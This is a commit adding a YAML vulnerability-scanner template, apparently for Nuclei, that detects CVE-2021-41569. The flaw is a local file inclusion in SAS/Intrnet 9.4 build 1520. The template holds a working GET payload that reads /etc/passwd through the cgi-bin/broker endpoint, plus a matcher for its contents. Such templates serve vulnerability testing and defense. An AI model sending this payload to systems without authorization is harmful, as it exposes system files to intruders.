Create CVE-2021-41569.yaml

CVE-2021-41569.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-41569
+info:
+  name: SAS 9.4 build 1520 - Local File Inclusion
+  author: 0x_Akoko
+  severity: high
+  description: SAS/Intrnet 9.4 build 1520 and earlier allows Local File Inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
+  reference:
+    - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-41569
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2021-41569
+    cwe-id: CWE-829
+  tags: cve,cve2021,sas,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200